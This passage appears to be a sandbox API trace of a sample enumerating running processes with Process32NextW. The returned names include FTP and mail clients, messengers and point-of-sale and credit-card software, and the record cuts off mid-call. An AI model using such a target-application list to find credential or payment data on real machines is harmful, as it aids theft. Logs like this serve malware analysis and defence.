szExeFile="svchost.exe")) returned 1 [0034.681] lstrlenW (lpString="svchost.exe") returned 11 [0034.681] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.681] lstrlenW (lpString="svchost.exe") returned 11 [0034.681] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.682] lstrlenW (lpString="svchost.exe") returned 11 [0034.682] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.682] lstrlenW (lpString="svchost.exe") returned 11 [0034.682] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0034.682] lstrlenW (lpString="audiodg.exe") returned 11 [0034.682] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.683] lstrlenW (lpString="svchost.exe") returned 11 [0034.683] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.683] lstrlenW (lpString="svchost.exe") returned 11 [0034.683] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0034.683] lstrlenW (lpString="dwm.exe") returned 7 [0034.684] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0034.684] lstrlenW (lpString="explorer.exe") returned 12 [0034.684] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0034.684] lstrlenW (lpString="spoolsv.exe") returned 11 [0034.684] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0034.685] lstrlenW (lpString="taskhost.exe") returned 12 [0034.685] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.685] lstrlenW (lpString="svchost.exe") returned 11 [0034.685] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0034.686] lstrlenW (lpString="taskeng.exe") returned 11 [0034.686] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0034.686] lstrlenW (lpString="judges-present.exe") returned 18 [0034.686] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0034.686] lstrlenW (lpString="physics.exe") returned 11 [0034.686] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0034.687] lstrlenW (lpString="belongs.exe") returned 11 [0034.687] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0034.687] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0034.687] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0034.687] lstrlenW (lpString="gadgets.exe") returned 11 [0034.687] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0034.688] lstrlenW (lpString="geneva.exe") returned 10 [0034.688] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0034.688] lstrlenW (lpString="elephant.exe") returned 12 [0034.688] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0034.688] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0034.688] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0034.689] lstrlenW (lpString="roger-venice.exe") returned 16 [0034.689] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0034.689] lstrlenW (lpString="cite.exe") returned 8 [0034.689] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0034.689] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0034.689] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0034.690] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0034.690] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0034.690] lstrlenW (lpString="artist_selecting.exe") returned 20 [0034.690] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0034.691] lstrlenW (lpString="poems.exe") returned 9 [0034.691] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0034.691] lstrlenW (lpString="bow.exe") returned 7 [0034.691] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0034.691] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0034.691] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0034.692] lstrlenW (lpString="businesses.exe") returned 14 [0034.692] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0034.692] lstrlenW (lpString="lucky.exe") returned 9 [0034.692] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0034.692] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0034.692] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0034.693] lstrlenW (lpString="healthmanner.exe") returned 16 [0034.693] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0034.693] lstrlenW (lpString="3dftp.exe") returned 9 [0034.693] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0034.693] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0034.693] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0034.694] lstrlenW (lpString="alftp.exe") returned 9 [0034.694] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0034.694] lstrlenW (lpString="barca.exe") returned 9 [0034.694] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0034.694] lstrlenW (lpString="bitkinex.exe") returned 12 [0034.694] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0034.695] lstrlenW (lpString="coreftp.exe") returned 11 [0034.695] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0034.695] lstrlenW (lpString="far.exe") returned 7 [0034.695] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0034.696] lstrlenW (lpString="filezilla.exe") returned 13 [0034.696] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0034.696] lstrlenW (lpString="flashfxp.exe") returned 12 [0034.696] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0034.696] lstrlenW (lpString="fling.exe") returned 9 [0034.696] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0034.697] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0034.697] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0034.697] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0034.697] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0034.697] lstrlenW (lpString="icq.exe") returned 7 [0034.697] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0034.698] lstrlenW (lpString="leechftp.exe") returned 12 [0034.698] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0034.698] lstrlenW (lpString="ncftp.exe") returned 9 [0034.698] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0034.699] lstrlenW (lpString="notepad.exe") returned 11 [0034.699] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0034.699] lstrlenW (lpString="operamail.exe") returned 13 [0034.699] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0034.700] lstrlenW (lpString="pidgin.exe") returned 10 [0034.700] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0034.701] lstrlenW (lpString="scriptftp.exe") returned 13 [0034.701] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0034.959] lstrlenW (lpString="skype.exe") returned 9 [0034.959] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0034.959] lstrlenW (lpString="smartftp.exe") returned 12 [0034.959] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0034.960] lstrlenW (lpString="thunderbird.exe") returned 15 [0034.960] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0034.960] lstrlenW (lpString="totalcmd.exe") returned 12 [0034.960] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0034.961] lstrlenW (lpString="trillian.exe") returned 12 [0034.961] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0034.961] lstrlenW (lpString="webdrive.exe") returned 12 [0034.961] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0034.962] lstrlenW (lpString="whatsapp.exe") returned 12 [0034.962] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0034.962] lstrlenW (lpString="winscp.exe") returned 10 [0034.962] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0034.963] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0034.963] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0034.964] lstrlenW (lpString="active-charge.exe") returned 17 [0034.964] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0034.964] lstrlenW (lpString="accupos.exe") returned 11 [0034.964] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0034.965] lstrlenW (lpString="afr38.exe") returned 9 [0034.965] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0034.965] lstrlenW (lpString="aldelo.exe") returned 10 [0034.965] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0034.966] lstrlenW (lpString="ccv_server.exe") returned 14 [0034.966] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0034.966] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0034.966] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0034.967] lstrlenW (lpString="creditservice.exe") returned 17 [0034.967] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0034.967] lstrlenW (lpString="edcsvr.exe") returned 10 [0034.967] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0034.968] lstrlenW (lpString="fpos.exe") returned 8 [0034.968] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0034.968] lstrlenW (lpString="isspos.exe") returned 10 [0034.968] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: 